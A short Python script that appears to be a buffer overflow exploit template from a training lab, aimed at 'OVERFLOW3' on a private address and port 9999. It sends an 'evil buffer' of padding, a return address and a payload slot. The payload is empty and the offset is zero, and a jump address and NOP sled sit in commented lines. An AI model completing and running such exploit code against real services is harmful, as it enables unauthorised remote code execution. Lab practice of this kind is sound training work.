import socket

ip = "10.10.56.156"
port = 9999

#prefix = "OVERFLOW3 "
offset = 0
overflow = "A" * offset
retn = ""
#retn = "BBBB"
#retn = "\xf3\x12\x17\x31"

padding = ""
#padding = "\x90" * 16
payload = ""
#postfix = ""

buffer = overflow + retn + padding + payload #+ postfix
#buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(buffer + "\r\n")
    print("Done!")
except:
    print("Could not connect.")
